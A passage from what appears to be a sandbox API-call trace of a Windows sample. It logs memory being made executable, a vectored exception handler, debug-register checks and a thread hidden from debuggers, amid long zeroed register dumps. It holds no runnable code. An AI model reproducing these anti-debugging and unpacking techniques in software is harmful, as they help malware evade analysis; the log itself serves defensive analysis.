[145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2180800*=0x400000, NumberOfBytesToProtect=0x2180808, NewAccessProtection=0x4, OldAccessProtection=0x19fe80 | out: BaseAddress=0x2180800*=0x400000, NumberOfBytesToProtect=0x2180808, OldAccessProtection=0x19fe80*=0x2) returned 0x0 [0235.003] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x56148e) returned 0x9282c0 [0235.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x4) returned 0x0 [0235.015] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0235.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x562e96, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0235.113] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0235.118] NtSetInformationThread (ThreadHandle=0x398, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0235.118] Sleep (dwMilliseconds=0x800) [0237.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x56141d, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0237.304] TerminateThread (hThread=0xfffffffe, dwExitCode=0x0) Thread: id = 5 os_tid = 0x13b8 Thread: id = 6 os_tid = 0x1390 Thread: id = 7 os_tid = 0x38c Thread: id = 8 os_tid = 0x137c Thread: id = 9 os_tid = 0x13f0 [0235.208] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x418000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.477] NtProtectVirtualMemory (in: 